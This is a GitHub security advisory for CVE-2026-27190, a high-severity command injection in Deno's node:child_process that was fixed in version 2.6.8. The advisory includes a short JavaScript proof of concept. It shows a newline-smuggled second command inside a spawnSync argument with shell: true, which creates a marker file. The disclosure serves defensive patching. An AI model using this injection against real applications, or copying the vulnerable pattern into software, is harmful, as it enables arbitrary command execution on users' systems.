GitHub Advisoryadvisory · crates.io

GHSA-hmh4-3xvx-q5hr Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

HIGH Published 2026-02-19 Modified 2026-02-20 Official page ↗
Aliases
CVE-2026-27190
Ecosystem
crates.io
Packages
deno
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2026-02-19

Affected packages

• crates.io deno: < 2.6.8 → fixed in 2.6.8

Description

Summary A command injection vulnerability exists in Deno's `node:child_process` implementation. Reproduction ```javascript import { spawnSync } from "node:child_process"; import * as fs from "node:fs"; // Cleanup try { fs.unlinkSync('/tmp/rce_proof'); } catch {} // Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");'); // Malicious input with newline injection const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`; // Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' }); // Verify console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof')); ``` Run: `deno run --allow-all poc.mjs` The file `/tmp/rce_proof` is created, confirming arbitrary command execution. Mitigation All users need to update to the patched version (Deno v2.6.8).

Related

Alias · CVE (1)

  • CVE-2026-27190 Deno is a JavaScript, TypeScript, and WebAssembly runtime. vulnerability

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References